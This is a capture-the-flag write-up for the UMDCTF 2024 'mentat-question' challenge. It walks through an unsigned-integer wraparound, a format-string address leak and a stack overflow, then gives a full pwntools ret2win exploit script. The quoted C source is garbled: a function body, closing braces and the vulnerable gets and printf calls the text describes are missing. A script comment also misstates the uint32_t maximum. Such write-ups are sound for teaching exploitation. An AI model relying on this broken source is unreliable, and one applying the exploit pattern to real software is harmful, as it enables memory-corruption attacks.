mentat-question [UMDCTF 2024]

writeup by: sunbather

Challenge Description

Thufir Hawat is ready to answer any and all questions you have. Unless it’s not about division…


For this challenge, we receive the source code. I will be attaching it below, in a code box. We can notice multiple interesting things:

  1. We have a win function (secret).
  2. We have a buffer overflow when gets(buf) is called in calculate.
  3. We have a format string vulnerability when printf(buf) is called in calculate.
  4. Binary has PIE enabled.

The idea is to get to the vulnerabilities, so it’s a game of bypassing checks. Firstly, we somehow have to get to num2 < 1, but also bypass strncmp(buf, "0", 1) == 0 in main. We see num2 is unsigned, which means we can only bypass the first condition by assigning it the value 0. However, we can’t pass 0 as the input, because of the condition in main, that won’t allow us to enter calculate in the first place. So then, the next idea is to give a really high number as input, so the buffer won’t be "0", but after it’s converted and assigned, num2 will overflow to 0. Then we can use the vulnerabilities we noticed above.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>

void secret() {

uint32_t calculate(uint32_t num1, uint32_t num2) {
    printf("%i\n", num1);
    printf("%i\n", num2);

    char buf[16];

    if (num2 < 1) {
        puts("Oh, I was not aware we were using negative numbers!");
        puts("Would you like to try again?");
        if (strncmp(buf, "Yes", 3) == 0) {
            fputs("Was that a ", stdout);
            fputs(" I heard?\n", stdout);
            return 0;
        } else {
            puts("I understand. Apologies, young master.");

    return num1 / num2;

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    uint32_t num1;
    uint32_t num2;
    uint32_t res = 0;

    char buf[11];
    puts("Hello young master. What would you like today?");
    fgets(buf, sizeof(buf), stdin);

    if (strncmp(buf, "Division", 8) == 0) {
        puts("Of course");
        while (res == 0) {
            puts("Which numbers would you like divided?");
            fgets(buf, sizeof(buf), stdin);
            num1 = atoi(buf);

            fgets(buf, sizeof(buf), stdin);
            if (strncmp(buf, "0", 1) == 0) {
                puts("I'm afraid I cannot divide by zero, young master.");
                return 1;
            } else {
                num2 = atoi(buf);

            res = calculate(num1, num2);

    return 0;


We use the plan above to get to the vulns. Then we leak main function’s address to find the PIE ASLR slide and then we get to calculate again to use the buffer overflow. We overwrite the return address with secret and that’s it. You can find the script below with explanations:

#!/usr/bin/env python3

from pwn import *

# okay I did a cool trick here lol
# I added +1 to skip the push rbp because system crashes on stack misalignment
# You can also do this by returning to simple ``ret`` gadget, to align again
# But I was too lazy to run ROPGadget on this challenge.
# In fact, I didn't even import in Ghidra, I used objdump and gdb only.
# I got this offset by doing main - secret in gdb
secret_offset_from_main = - 306 + 1 

#target = process("./mentat-question")
target = remote("", 32300)

target.sendlineafter(b"Hello young master. What would you like today?", b"Division")
target.recvuntil(b"Which numbers would you like divided?")
target.sendline(b"4294967296") # max value of uint32_t that overflows to 0

# leak 25$p, found through trial and error and gdb
# you can also calculate it but usually it's not trivial
target.sendlineafter(b"Would you like to try again?", b"Yes %25$p")
main_leak = int(target.recvline().split()[-3], 16)

# calculate absolute address
secret_addr = main_leak + secret_offset_from_main

payload = b"a" * 0x15 + p64(secret_addr)

target.recvuntil(b"Which numbers would you like divided?")

# do the thing
target.sendlineafter(b"Would you like to try again?", b"Yes" + payload)

# this is the part where my mentat starts having an epileptic seizure
# do they ever do that in the books?